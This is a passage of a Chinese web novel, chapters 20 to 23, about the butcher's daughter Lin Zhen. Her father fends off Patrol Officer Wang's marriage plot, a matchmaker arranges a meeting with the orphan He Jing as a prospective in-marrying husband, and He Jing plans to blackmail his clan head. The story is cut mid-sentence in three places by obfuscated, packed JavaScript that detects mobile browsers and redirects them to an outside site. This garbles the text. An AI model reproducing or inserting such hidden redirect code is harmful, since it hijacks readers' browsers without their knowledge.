“林老弟,许久不见,今儿倒是巧。我也不当值,咱一起去朱家分茶店吃酒去?你不晓得,她家新来的厨娘,极擅整治爊肉和糟鱼,味儿甚美。哟,这是弟妹和你家倆女郎啊?咱一道去,一道去啊!” 林真瞧着来人心中冷笑,也没人搭理这王巡栏。可人多本事,自个儿给自个儿搭话,想说的都说了。 “世伯,您今儿倒是得闲。可我们先前在宋家分茶店定了位子,想去吃鱼羹咧。” 林真笑眯眯。 “虽有些不凑巧,可世伯盛情相邀倒是不好拒。这样,您跟我爹自去喝酒,咱们小女子不胜酒力便不去凑热闹了。您和我爹可一定要喝痛快了,吃醉了也无妨,咱们来接他,难得您能请他吃酒,他心里高兴着呢!” “这,自然,自然。一道吃酒,怎能不尽兴呢?”王巡栏不是没听出林真话中的阴阳怪气,可又不好在此时翻脸,只得应下。 心中却是不满:这林家女果然牙尖嘴利没规矩! 被迫心中高兴的林屠户,也只得跟着王巡栏走了。 先前真姐儿与他说过王巡栏换了地方上值,还在打听摊子的事儿。此时来寻,定是有所图谋,他只能应邀,去探探王巡栏的底儿。 “我爹恁大的个头,怎瞧着还委屈上了?” 林真决定先不管她屠户爹,拍了拍钱袋子,财大气粗道:“走,那甚爊肉糟鱼的咱可不稀罕。咱今儿吃鱼羹、旋炙猪皮肉,再来一道肉瓜齑。肉瓜齑好下饭,今儿主食就吃粳米饭,再一人一碗糖蒸酥酪吃!” 说着说着自个儿的口水快兜不住了。羊肉暂且吃不起,先来道炭烤五花肉解解馋,还有白米饭,香喷喷不掺糙米的白米饭。 她真的,好馋好馋好馋! “咱娘仨,吃恁好啊?”苗娘子震惊到有些害怕。她前几十年加起来,吃得也没今日这般豪奢。 “对啊,今儿我爹是没口福了,咱给买只爊鸡罢了。” 她想问的不是这个,苗娘子张了张嘴。可瞧着真姐儿和燕儿都是一脸兴头头的模样,便不再出声儿。 一顿饭吃去一吊钱,苗娘子瞧着真姐儿付钱的时候心都在颤。可真姐儿多耐心地在教燕儿数钱结账,她便竭力装出一副镇定模样来。 万万不可因着她,教倆女郎遭人瞧不起。 这头娘仨吃好了,那一头的林屠户却觉着又怒又好笑。 你道是这王巡栏打的甚主意呢?他居然在打林真的主意,人居然是来探口风,想结亲的。 王巡栏头头一次瞧见林屠户父女倆与那叫林福的小伙计说话时,就盯上了林真。 那林福他是知道的,林掌柜的亲侄儿,带在身边七八年了,瞧着是冲着当大掌柜去的。 林屠户有甚能耐他是知道的,不可能攀上林掌柜。不然他也不会为着十来贯钱就与林屠户彻底撕撸开来。 那就是屠户家的真姐儿得贵人青眼了? 心有猜测,后头又暗中瞧了几回。待前几日林掌柜亲自来请的时候,王巡栏心中瞬间下了决定。 他要为二儿子聘真姐儿为妻! 退过亲算甚?性情不柔和算甚? 只要她有本事儿攀上贵人,这些通通都不是问题。林掌柜后头可是林家,祖上出过三品大员的林家! 王巡栏有三儿一女,大儿子不用说,也进衙门当胥吏。小儿子机灵,在威远镖局做事,很得东家赏识。 就这二儿子,好不容易托了关系将人塞进码头做事。虽辛苦,可好歹是个手底下管着十来个人的小管事。 可他倒好,克扣手下人的工钱不说,事儿办得不高明,自身又弹压不住人。 教一个泥腿子带着人闹开来,活生生将差事闹没了。还教他这个当爹的去收拾烂摊子,闹得好生没脸! 眼高手低,奸猾耍懒,瞧着是成不了事儿的,用来拉拢林家甚好。 王巡栏算盘打得倒是好,可才刚透出口风来,就见对面的林屠户一脸愁闷道。 “哎呦,老哥哥啊!说起真姐儿来,你是不晓得,这女娃子好生厉害,在家吵吵着要招赘哩!你也知道,我就这一个女儿,打小就拿她没法子的,她这样闹,我也只好应了。” 林屠户喝了一口酒,借着酒盏子打量王巡栏,果然瞧见其一脸错愕,心中冷哼。 哼!无端端地说起真姐儿,果然不怀好意! 不待王巡栏说话,林屠户又道。 “这不,前几日才去了官媒那处,许了八贯钱,托她定要给真姐儿寻个好的来。” “怎还去了官媒那儿?林老弟,你可要想好了,上门的男子哪有好的?你瞧瞧胡大老爷那闺女,日子过得可不好。”王巡栏还不死心。 “嗨,老哥哥,与您说句掏心窝子的话。先前我失了肉行摊子的时候,真真是心灰意冷才回得枣儿村。可有句话怎说来着,福兮,祸起?还是福祸相依?” 这话,王巡栏不好接了,只端着酒盏子干笑。 林屠户一拍大腿,很是激动。 “总之,我回去后才觉得回对了!真姐儿要招赘,就在我林氏族人的地界上讨生活,那还担心甚?便是哪天我不在了,也有林氏亲友族老给她做主,断不会轻易教人欺了去!” “对了,说起这事儿来,我今日且要去一趟官媒那头,可得催催媒人,多上点儿心。” 王巡栏好容易破回财,可没换回自个儿想要的,这酒是喝越涩,胸中憋闷。 招赘?那不成,他那二儿子再怎么不成器,那也不能上门当个赘婿去!他也算是有头有脸的人了,丢不起这个人。 林屠户也懒得瞧王巡栏那张晦气的马脸,三言两语推脱有事儿,翘着脚便走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16289501|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哼,现在可不是从前,要他小心捧着林屠户的时候了! 林屠户还真又跑了一趟官媒处。 这才多久?打真姐儿主意的人接二连三地冒出来。且还真像真姐儿说的那样,都是些不三不四的人,还是快点儿将真姐儿的婚事定下才好,免得又生事端。 林屠户在朱家分茶店没吃上几口,林真娘仨倒是吃了个痛快,又溜达着去给林屠户买爊鸡。 是以,等林屠户跑了一趟官媒处,又去将拴在桥头集上马栓子处的老驴接来后,还等了好一会儿,才等来施施然而来的真姐儿三人。 “嘁,你们倒是吃好了,教我一人在此处好等。” 语气酸溜溜。 “嘻嘻,爹,晓得您晌午这一顿定是没吃好。瞧,女儿给您买的下酒菜!” 林真提溜着油纸包的爊鸡,晃阿晃。 “桥头张家铺子的爊鸡,才出炉子,咱快些家去,外头那一层酥皮儿塌了可不好吃。” 林真又拐了拐不敢说话的燕儿。 “还,还有酒,猫儿巷里的,阿姐打了一角羊羔酒呢!” 林屠户喜得直搓手:“恁好的酒啊?” 羊羔酒,从前他也只在冬至或者过年时,打上一角慢慢吃。 “这几日咱家,有一个算一个都忙了个底儿朝天。今儿有钱入账,可不得吃点儿好的补补。过日子嘛,哪能只有奔波忙碌不添衣吃肉的?人又不是生来就只能吃苦的,咱赚了钱,必要对自个儿好些!” 林真从来不是那种没苦硬吃的人,赚钱了还不能享受,那赚钱是为了啥? 一家子高高兴兴家去,可县里头的两家人可没这么痛快。 王巡栏盘算不成本就生气,他那二儿子原就不乐意娶林真,漏出几分高兴来,教王巡栏逮着好一顿骂。 成丁的男子了,还教人骂了个狗血淋头,即便那是自个儿亲爹,可人自然不乐意。摸了钱出门吃酒去,入夜还不归家,又将王巡栏气得在家大骂,王家好一阵鸡飞狗跳。 而另一头,接了林屠户托请的许官媒也是头疼。 按理说,这林屠户钱给得足,家里日子好过,招个赘婿不算难。可难的是要寻一个与林家小娘子还算匹配的男子来,这人可实在不好寻。 许官媒入行多年,名声一直是顶顶好的。经她牵线的男女,难有怨偶。 许官媒瞧人有几分能耐,牵线说媒时,还会自个儿暗中先去瞧瞧男女双方,若是性情实在不合适的,她绝不硬凑。 林屠户寻她,她自然也去瞧过林小娘子,还去摊子上买过熏豆干。 两三回后,她就知道这林小娘子不止身量与一般小娘子不一样,性情也大不相同。 这是个水晶心肝似的伶俐人,说话做事极为干练,胆子大还聪慧敏锐。这样的女子自然是好,可这样的女子怕是眼里揉不得沙子。 与林小娘子相配,头一样,便是气量不能小。 林家女能干,若是教她晓得上门的男子心存怨气,怕是生了儿子后就要将人赶出门去! 她要去哪寻一位,性情良善(林屠户的要求)、有气度(特指不能软饭硬吃)的男子? 许官媒总觉着,自个儿这招牌,要砸。 21. 第 21 章 愁眉紧锁的许官媒瞧了眼自家歪着身子捻豆干儿吃的男人,气不打一处来。 “吃吃吃!就知道吃,老娘饭都吃不下,你倒是逍遥!” 被骂的男人显然习惯了,一点儿不生气,反乐呵道。 “你这老婆子,现倒是骂我出气,我这儿有一顶好的人选你听是不听的?” 许官媒翻着眼皮子瞥他:“你能有甚好人选?” “嘿,瞧不起人不是。咱先说好,若是我荐的这人合适,你得去切二两白煮羊来给我下酒。” “成!我还就不信了,成日往来的都是些糟老头子,你还能有甚好人选不成!” 许官媒压根儿不信。 “哼,这人吗,远在天边,近在眼前。”许官媒的丈夫,伸手点了点桌上的一叠儿水菱角。 “嗯?”许官媒眼神落在白碟子里的红菱角上,眼睛瞪大。 “你,你说景小子?”随即便直摆手。 “不成,不成,我虽与景小子他娘有旧。可我也得说一声,这景小子,可不是个心肠软的。” “嘁,景小子要真是个软弱的,可长不成,早被贺家湾那吃人不吐骨头的地儿给吃了。”许官媒的丈夫显然很看不上那处。 “可人景小子是个知恩图报的,你将他荐去码头做事儿,虽遇上王家那个黑了心肝的东西坏事。可他一句怨言都没,进城还晓得给你稍些东西,次次不落空。这是个眼明心亮的,可比那起子软蛋强!” 许官媒若有所思,他男人又摇头晃脑道。 “还有,景小子可长了一张好脸。饥一顿饱一顿长大的,人似个骷髅架子似的在破衣裳里晃荡,可就这样,也不教人觉着邋遢,若是吃上几顿饱饭,养一养,那可了不得!” “姐儿爱俏,景小子长了一张好看的脸,身量又高大,与那林小娘子是极般配的。我跟你说,要不是景小子,咱这处,只个头上来说,比林家姐儿还高的男子可难寻了。有那一副好体格,都不必使钱,但凡县衙招壮班,头一个就被挑去了,谁还肯上门!” 许官媒沉思许久,心里将林家姐儿与景小子凑一处,思量一回。 还真有几分相配,那林家姐儿是个大方的,对异父异母的继妹都那样好。景小子呢?待他好一分,他便回两分。如此想来,倒还真是般配。 只是…… “贺家那老东西不肯放人咋办?” 人一着急,连土话都秃噜出来了。 “哼!贺家湾那群丧良心的不给景小子留活路,你这个当姨母的给寻条出路,他们还敢拦?只要两方都点头,你拿上牙牌,我喊上几个人,还怕那些老东西不放人?” “如此,你也不白收林家恁多谢媒钱,我也不白吃景小子的菱角。” 许官媒定了定心,是了,还怕了那起子老货不成? 许官媒是个麻利人,心中有了主意,翌日天儿刚亮。 先坐车,又乘船,再走上好大一截土路,才到了层层山峦包裹的贺家湾。 许官媒没歇息,又闷着头往前走,遇上村人搭话也不大搭理。袅袅炊烟后,人烟稀少的山脚下才是她此行的目的地。 两间黄泥糊就的茅草屋,其中一间外墙上的黄泥还是新的,显然是屋主新糊的。许官媒喊了几声,没人应,捡了干净处席地而坐。 许久没走恁多路了,她着实累得慌。 一会儿,从山里走出一身量高大的男子。 短衫粗布,两捆高高的柴垛压得他不得不低头,胸前挂着的篓子也装得满满当当。他一步一步走得极稳当,汗珠子滚了一头一脸。 许官媒听见动静,瞧见要寻的人,到嘴边的呼喊又咽了回去。 那堆得老高的柴垛子瞧得她心惊,可别因着她这一嗓子惊着了人,教景小子脚下打滑。 “许姨?您怎来了?” 来人自个儿察觉了动静,稍稍抬头,瞧见许官媒后很是吃惊。 “你先进屋,将东西卸下,可不好在这时候说话。” 先前不觉着,教家里老头子那番话一说,许官媒留心打量着贺景。还真是,生了一张好俊的脸。 贺景不多言,闷头进屋卸下身上的重物。 他确实累极,早上那一碗杂豆粥不顶事儿,在山里走了许久,捡了几个果子果腹,也只是聊胜于无罢了,现就凭一口气撑着。 “啪!” 柴垛落地,尘土飞扬,贺景微微松了一口气,而后擦了擦脸上的汗珠子,洗了手后从屋里端了两碗白水来。 “许姨解解渴吧,家中贫寒,莫要嫌弃。” “这是甚话。”景小子可一点儿不埋汰,洗手洗脸才端的水。 许官媒走了许久也是渴极了,接了粗陶碗一口气喝干净。 “我不瞒你,我今儿来是有事儿寻你。枣儿村林家,是个屠户,膝下仅有一姐儿,托了我为他家的姐儿招一上门婿。林屠户仗义又疼女儿,林家的姐儿也是个性子爽利待人大方的。你若是愿意,姨母定全力促成此事。” == 另一头,林家众人欢欢喜喜家去后,头一件事儿,不是磨豆子。而是先挑拣晒了满满当当一院子的老豆腐。 发粘变味儿的都挑出来,加水煮一煮,喂给后院的大小灰吃。 先前忙着制腐竹,占了灶孔和人手,实在来不及制熏豆干,便只能先将豆腐都切出来晒在院儿里。今日林家众人的活计,就是将还能用的豆腐都挑出来,制熏豆干。 苗娘子捡得心疼,她是穷过的,可从没这样糟蹋过粮食。可真姐儿说得对,这做买卖赚钱,一旦坏了味,名声也必定坏了。为了这几个铜子儿丢了名声,可不划算。 唉,说来说去还是家里人少,若是家里人手多些,再搭一个灶台来,必不会教这豆腐白白坏了去。 支了架子将豆干熏上,院儿里又开始''仙气飘飘’后,林家众人才摆了桌子吃夕食。 林茂安就是这时候来的,林真一开门,他就瞅见了桌上的饭食。心里好一阵儿懊恼,他就是不想撞见二叔家吃饭,在家等了好一会儿才来的。 先前在二叔家帮忙时,拿着恁高的工钱不说,包的那一顿饭也吃得忒好了些。炒鸡子骨头汤是必有的,时不时他这堂妹还要支使儿叔去切上一方肉来吃,他都不敢落箸。 他总觉着,钱拿得烫手,吃得也亏心。只能拼命干活儿,可真姐儿连这个机会也不给,时不时要招呼着众人歇一歇。他要是不歇着,还要拿话挤兑他。 “哎呦呦,咱都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16298517|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歇着,偏茂安哥不歇,显着你多勤快哩。不知道的还以为你是咱家的老黄牛呢,可快些停下罢,我可不是那黑心东家,拿人当牲口使。” “阿姐,咱家的大灰和小灰也歇着呢!” 林真瞧着林茂安怪笑。 林茂安:怀疑这倆小丫头在骂他。 “茂安来了,整好配我喝两盅。”林屠户乐呵呵招呼侄儿。 “二叔,我在家吃了才来的。您不肖招呼我,我就寻真姐儿说两句话就走。” 林茂安生怕他二叔要来拉他,赶紧三言两语将自个儿打算挑着担子去村里乡间卖熏豆干的事儿说了。 这是他思量许久才想出来的,进城叫卖,无论卖出去与否,必要先交上两文钱,若是在乡间叫卖,就可省下这两文钱。 且县城里林茂安压根儿不熟,可村里不一样。这十里八乡的他还都识得些人,知道哪处富些,哪处好叫卖。 先前林真送过熏豆干给他家吃,是好吃。且听巧儿说,这熏豆干在县里也是极好卖的,他便生了这心思,不去试上一试,他不甘心。 林茂安今年十九了,也到了说亲的时候,他和巧儿只差了两岁。 家里这些年勒紧裤腰带地存钱,就是为了他和巧儿的婚事,这些年女方多要厚嫁。他娘也给他透过话头,女子耽搁不得,先紧着巧儿来,他多等上一两年。 这道理林茂安知道,他不可能去跟巧儿争。 可他也知道家里的情况,虽有二十三亩田,又种了二叔家的八亩,可一大家子六口人,交了田税丁税,还要填饱肚子,田里的出息实在剩不了啥。 还有徭役,大庆朝成丁的男子都要服役,一年一次,不是挖河泥就是修城墙,每年二十天。 活儿重又要赶工,年轻力壮的汉子都吃不消。他爹年纪不小了,家里便商量了,不教他去。以庸代役,一日需三尺绢,年年都得捐上六丈绢,这是一笔不小的开销。 林茂安便知道,他不能将娶妻养孩子的重担都压在爹娘身上,更不能压在那二十来亩地上。 那会穷一辈子的。 他这些年田里忙完就往山里跑,除了春日不让进山,夏、秋、冬三季就没停过,砍柴、摸鱼、找香蕈…… 甚能卖钱他找啥,可惜不是猎户,不敢往深山里头跑,也实在没攒下多少钱。赚钱最多的那次,还是托了林真的福,去卖碰冰子。 “真姐儿,我晓得做买卖的规矩,我出钱买熏豆干,买卖如何都自个儿担。不会仗着两分亲戚关系说些不着调的话!”林茂安拍着胸脯保证。 “茂安哥,你这脑子可以啊。成,这熏豆干我卖你一文一方,你拿出去卖,不得低于两文钱。这东西抹了盐,还要加松枝熏制,一方可有足一斤,你别卖低了。我在县里是卖三文一方,五文两方的。” “成,我先买上三十方去试试。”林茂安数钱。 “是,天儿热,这东西虽比鲜豆腐能放,可也别一次卖不完便留好几天,那也是不成的。我们两家离得近,你日日来买新鲜的,可别坏了口碑。”林真接钱也很痛快。 数了三十四方熏豆干出来给林茂安。 “咱自家亲戚,你买十方我送一方,还有一方当添头,祝茂安哥客似云来!” 22. 第 22 章 忙完了林掌柜的单子,林家众人又过上了磨豆子卖腐竹的生活。 不同的是,枣儿村众人都晓得了真姐儿会磨豆腐来卖,家里偶尔会有村人找上门来,自买一两方熏豆干给家里添个菜。林家那头倒是破天荒的热闹了起来。 随着林真卖豆干传开来的,自然还有她要招赘的事儿。 这回,村里的议论声倒是少些了。 一来,族长才敲打过众人;二来,族长和族老都同意的事儿,少有人再去说嘴。 三来嘛,当然是卖豆子的事教众人有了好处。 寻常村人卖粮卖豆,定是在地里有了收成的那段时间才会卖。可那时,也是米行压价最狠的时候,稍稍不如意,人扔下装粮食是布袋子转身便走,懒得多说一句! 而若是迟些去卖呢?又会被米行挑剔是陈米不新鲜,照样要压价。 可林家托了李金梅收豆子,那都是一个价,一斗五个钱,只要豆子干净圆实,过了斗斛就给钱。 这可好,不用跑一趟县里耽搁事儿,不用去瞧米行的脸色被压价,更不必央人去算账。 族长和族老真是有远见啊!这样能耐的姐儿就该留在林家! 是以,这日瞧见一戴冠子、黄包髻背子,手持清凉伞儿[1],腰悬牙牌的娘子打听林家如何走时,村人多是热情地将人领到了林屠户家门前,还帮着拍开了林家的大门。 “娘子别见怪,林屠户的院子占地广,当年买宅基地的时候,只有这处宽敞些。只这头人少些,还靠着山,是以,他家的院墙和大门都是使了好料子建的,自然不大好应声儿。” “这有甚,门户紧是好事儿啊。”许官媒眼睛在林家的高墙上转了一圈儿,心里满意。 果然是户殷实人家,且枣儿村民风不错,人刚刚询问她时,瞧着多谨慎。可晓得了她是林家请托的官媒,人便和善热情起来。这可比贺家湾那地儿好太多了,景小子即便是当上门婿,也能少受些闲言碎语上的委屈。 今日林真回来得倒是早,多了村人和林茂安买熏豆干后,她带去县里的便要少些,卖得自然更快了。 可林屠户不在家,他同村人一起上山打柴去了。 现枣儿村打柴要往山里走,村人尝常会结伴而行,路上也好有个照应。好在苗娘子在,林真便极为坦然地将许官媒迎进屋,端了凉茶来后,又无比自然地落座。 半点儿没有避开的意思。 苗娘子觑了一眼,只当没瞧见。许官媒多厉害,眼儿一动,心念一转就知道林家姐儿只怕在家里说话比她这晚娘还好使,当下垂了眼,也只当没瞧见。 “那后生是个好的,只命不好,四岁失怙,五岁失恃。家中长辈只剩一个隔了房的叔叔,磕磕绊绊长到十七。只山脚下两间破草房容身,他自个儿本是绝了成家的想法的。可我瞧着他人肯吃苦也能干,不是那等偷奸耍滑的,这才将他说给您听。 无父无母,无兄无弟,说是有个叔叔,可听这描述,关系可不大亲近。 对那人来说有些抱歉,可对她来说确实是个好消息,这是个无依无靠的! “您听听,若是有意,咱商量着,教倆孩子见一面。瞧得上了,再说后头的事儿。我且还没说林家要给八贯钱的事儿呢!就怕来得是个见钱眼开会装相的,那可是要砸了我这招牌!” 看来许官媒对这人评价很高啊,暗戳戳给人说好话呢。 “您与那人很是熟悉?” 好生厉害的小娘子。许官媒暗暗心惊,面上却不显,反而痛快承认道。 “是了,说起来,我与那后生也算有些缘由。她母亲与我有旧,一个姓儿,虽出了五服,可算起来也能喊一声堂姐。那孩子记恩,待人好呢。我只不过略略照拂一二,他回回来县里,倒都记得给带一把香椿或菱角的。” 知恩图报,加分项,林真心里又添满意。 苗娘子瞧了身旁的林真一眼,迟疑道。 “那,便瞧瞧?” 林真笑眯眯给许官媒添茶:“劳您跑一趟,定个日子,我是日日要去县里摆摊的。天儿热,便常去桥头底下的大碗茶铺里吃碗茶解渴。” “成,林小娘子的话我记下了。三日后,巳正,我与苗娘子一道约着吃茶去。” 许官媒与人商量好日子,也不多留,顺势告辞家去。 是以,等林屠户背着两大捆柴火家来后,才晓得人选、约见时间、地点甚都定下了。 他嘀咕道:“胆子忒大。” 可也没说反对的话。 三日后,慈溪县桥头大碗茶铺里,林真将摊子托给巧儿看着,提前先坐着了。 她着一月白抹胸,外罩一件窄袖的绉纱长褙子,下身还是合裆裤加合围的样子。通身素净,瞧着只有褙子压边处绣的海棠花活泼些,林真便在鬓边簪了两朵茉莉花,又寻了一条姜黄色的绦带,系了个双耳结。 她自个儿倒是很满意,这下,总不能说她太过素净了吧。 林真与人相看,那是全家出动。 燕儿年纪小,便留下跟巧儿作伴看摊子,苗娘子与她一道坐着。林屠户呢?倒是没往茶铺子里头来,搁桥头底下守着呢。 许官媒领着贺景过来的时候,瞧见苗娘子,很是惊讶地招呼道。 “苗娘子,这厢倒是难得遇上,咱可是许久没见了。” 听听,不晓得的还以为倆人是旧相识呢。 林真借着互相见礼的机会睁大眼睛打量来人。不错,身高首先就很令人满意。 她身量本就高挑,长褙子加裤子的打扮更是显得人细条条。来人微垂着头,可也比她高出大半个脑袋来。 很好,身高这项完美。 许官媒一一介绍:“这是苗娘子与她家的姐儿。” “小子贺景,这厢有礼了。”贺景见礼后,抬头,飞快地打量了一眼林真,又将脸转过去对着苗娘子那头低垂着。 林真先听见声音,还在心里评:不错,声音清亮,不是个畏缩小气的。等人一抬头,直直撞进一双清凌凌地眸子中。 脑子里罕见地空了一瞬间:捡到大便宜了! 平心而论,她不是个见识的。 上辈子的林真什么样的帅哥没见过?不说明星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16303629|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,互联网上一大堆!甭管人是精修还是滤镜,可至少成品是帅的。 可这辈子,到了此处,才晓得辛苦劳作的村中是难出帅哥的。 冷不防见到一个,还真是愣了愣。 连苗娘子都是一怔:这后生好生俊朗。 随后便是一皱眉,如此,万一是个浪荡性子,反倒不美。皱着眉,打量起人来就挑剔许多。 而那头匆匆一瞥的贺景心中也是一动。 原来是她。 许官媒与苗娘子寒暄着,只不过短短一盏茶的功夫。 两方人一分开,苗娘子面上的愁色就掩不住,林屠户过来时还唬了一跳。 他远远瞧着,那后生行为举止倒是妥当,身量高大,走动之间,腰背挺直双肩舒展不显猥琐,瞧着倒是能担事儿的。 “这是怎了?” 一个瞧着不大高兴,一个倒似捡了钱似的。 “真姐儿,那后生,瞧着可忒俊了些,这,容易,容易……” 苗娘子说不出来,真姐儿还是个黄花大闺女儿呢!她总不好说,这世间皮相好些的男子多浪荡,占着几分好颜色便常与人勾勾.搭搭。 “娘子,我晓得您要说甚。生性浪荡,可不与人相貌相关,多得是长得不堪入目还心比天高的。腿长在他身上,他若要拈花惹草,谁还能拦得住?要是不好,咱赶出去便是了。” 她不是个好欺负的,可对方却是个没靠山好欺负的。 “啊?赶,赶出去?” 苗娘子惊呆了。 “是啊,留着干啥?白吃饭?” 理所当然的林真。 半天不说话的林屠户这会儿察觉出来女儿的意思了,小心问道:“就他了?” “是,就他了。”林真点头。往后先不论,现下看来是个懂礼数的,人还俊,她不吃亏。 林屠户想了想,点头应下。 “成,明日与许官媒说。” 左右他也做不得女儿的主,还是听真姐儿的好了。 == 贺景知道今日相见,倒是没背许多重物。 贺家湾离县城远,进城一趟属实不易。他往日每次来,肩上扛的、颈上挂的、手上提的…… 总是满满当当。 今日倒是只背了一只背篓,里头装着晒干的香蕈、耳子,还有一小把白耳。前两种卖去干杂铺,后头那一小把白耳,是他送给许官媒的。 白耳是难得,可这么一小把,也买不来一身好衣裳。 他身上的衣裳是许官媒送的,说是自家男人年轻时的衣裳,现穿不得了,放着白白给虫蛀了,便送与他。教他好生收拾,精神些。 他今日确实是难得的体面,不是粗布短衫补丁一个又一个,也不是教重物压得直不起腰,满头满脸的汗水和尘土。 也不知道,这样的他,能不能教那小娘子瞧得上? 若说他原先只是听了许姨的话,为自个儿寻条出路。 可今日,见了那小娘子,他心里倒是生出几分希冀。 若是她,想必日子不会太过难熬罢? 23. 第 23 章 贺景是见过林真的。 那一日他似往常一样进城卖柴火山货,因不舍得花钱,乘船之后,是一路走过来的。那日带的柴多了些,入城有些晚了。 他脚步匆匆,只祈祷着今日东西卖得快些,他还能早些出城,若是渡口收船,他又得白白花去三个钱,在城南的窝棚里躺一夜。 忽听有人说道:“人又不是生来就只能吃苦的……” 声音多清脆,里头蕴含无限的欢喜与希望。 他不由得抬头去寻,只瞧见那小娘子高挑的身影逐渐远去。 贺景那日运道不算好,遇上一难缠的老叟,好说歹说才将东西卖完。那时出城已晚,只身一人摸黑回去恐出意外。他即便再不舍,也只得花了三个铜子寻了窝棚,护着背篓和衣躺下。 城南的窝棚鱼龙混杂,在这儿本就不能睡熟了。 他人躺着,不知怎的,白日里听见的那几句话突然涌上心头。几句话,在口中几经咀嚼,没咂摸出甚大道理来。只觉着:若是那小娘子,那确实不是来人间吃苦的。 她和自己,是不一样的。 == 贺景回了自个儿的茅草屋,换下身上的衣裳便在院儿里劈柴。 打柴,可不是从山上随意拖些枯枝来就能卖钱的。 柴火也分种类卖钱,青冈木或枣木那样的硬木最佳,杂木、荆棘最次。 手中的铁斧质量不佳,贺景不敢去斫硬木,便捡着松木、杉木砍,这两样也能卖个不错的价。 木头拖回家来,去掉杂叶乱枝,全劈成宽三指长两尺的条状,摊开来在日头下暴晒两三日。这样长短合适粗细均匀,且晒足了日头去掉水汽的干柴,才能卖得出去。 县里当家的娘子眼尖着呢,卖的时候还要瞧着你将柴垛子在地上跺上三跺,若是震出些枯枝烂叶黄泥来,那且有得掰扯了。 闷着头将院儿里的柴劈完后,憋在心中的那股子郁气散去些许。 贺景打小寄人篱下,得了父亲田产房屋的叔叔待他并不好。他是吃百家饭长大的,自然会瞧人眼色,察言观色揣摩人喜恶的本事是一流。 他自然察觉到苗娘子那带着十足挑剔的打量。 此事,怕是成不了。 贺景长舒一口气,也成,就这样罢。 不是早就打定主意了么?能活一天是一天,哪日活不下去了,能带一两个仇人下去就算是赚了。 “景小子,那许官媒又来寻你了?咋的?给你说亲啊?” “我家徒四壁,连亩地都没有,吃了上顿没下顿的,谁家好人家的姑娘愿意与我成婚?”贺景握紧手中的铁斧,黑黢黢的眸子盯着村人,这人与他那好叔叔有几分酒肉交情。 村人被贺景盯得心中发寒,眼神落在斧头上,不自觉地后退一步。 这小子,瞧着怪邪门的,如此不讨喜,也难怪有血亲的叔叔不待见他! 贺景扔下村人去迎许官媒,木门大敞着,反正家里也没甚值钱的东西。 “景小子,好消息啊!”许官媒眉眼带笑。 “许姨,这是,是成了?”贺景双手不自觉地捏成拳,有些不可置信。 “唉!自然是成了,咱进去说。”许官媒倏地不说话了。 贺景瞧着探头探脑地村人,眉头微皱,眼里透出几分凶光来。他撇了一眼村人,带着许官媒进屋去,将木门拴上,隔离了外界不怀好意地窥探。 “虽说是上门婿,可能离了这贺家湾是再值当不过了。景小子,我跟你说,那枣儿村可是个好地儿,离县里近。林氏是那地界的大姓,林氏的族长还是里长!”许官媒突然又有些忧心。 “林家姐儿主意大,可瞧着是个大方良善的,你与她好好过日子,林家不会苛待你的。你还不晓得吧?林屠户大方,许了八贯钱呢!你放心,这八贯钱虽少不得要分出去些许,可许姨一定多给你留下些来!” 贺景低下头来,想了想,还是开口道:“许姨,这八贯钱,我一分都不想便宜了族人!” 许官媒声音微顿,叹了一口气劝道:“景小子,我知道你这些年过得不容易。你娘当年……确实是贺家族长那老东西不干人事儿,可你还是姓贺,要出去,版簿户籍就绕不开那老东西,咱少不得舍些钱财出去。那老东西要是从中使坏,生了折,林家那头不满意可不好办。” 贺景笑了笑,眼睛里却没有喜意。 “当年他们逼死我娘,强占我爹的卖命钱,我至死都不会忘!许姨,族长女儿要嫁去县里了,这时候该怕的是他。我与林家姑娘的婚期,你费心择个最近的日子。若我的婚事不成,我也不会教族长家的婚事能成。” “这……”许官媒还有几分犹豫。 “族长家有三亩水田,来路可说不清。而我手里,有一张烧了大半的田契。”贺景眼睛黑沉沉。 田契,他当然没有。 当年他那好二叔,夺了他家的田产,头一件事儿就是将田契房契一把火烧了。没多久,他家最好的那三亩水田就成了族长家的。 他是在使诈,可族长一定会上当。 他二叔当年犯得最大的错,就是没当着族长的面儿一张张烧,族长那人,疑心病可重得很。他二叔又蠢又毒,这些年来,估计还不明白为何族长得了好处,却不大待见他。 心有抱怨,又好酒,言语见难免会抱怨几句。这些年,族长瞧他二叔的眼神可越来越不对劲儿。 他当年太小,许多事情无能为力。 可这根刺正正扎在心口上,若就这样窝窝囊囊地走了,他不甘心。 许官媒想起那个活活被病死的堂姐,又瞧了瞧贺景穿在身上直晃荡的衣裳,眼一酸。 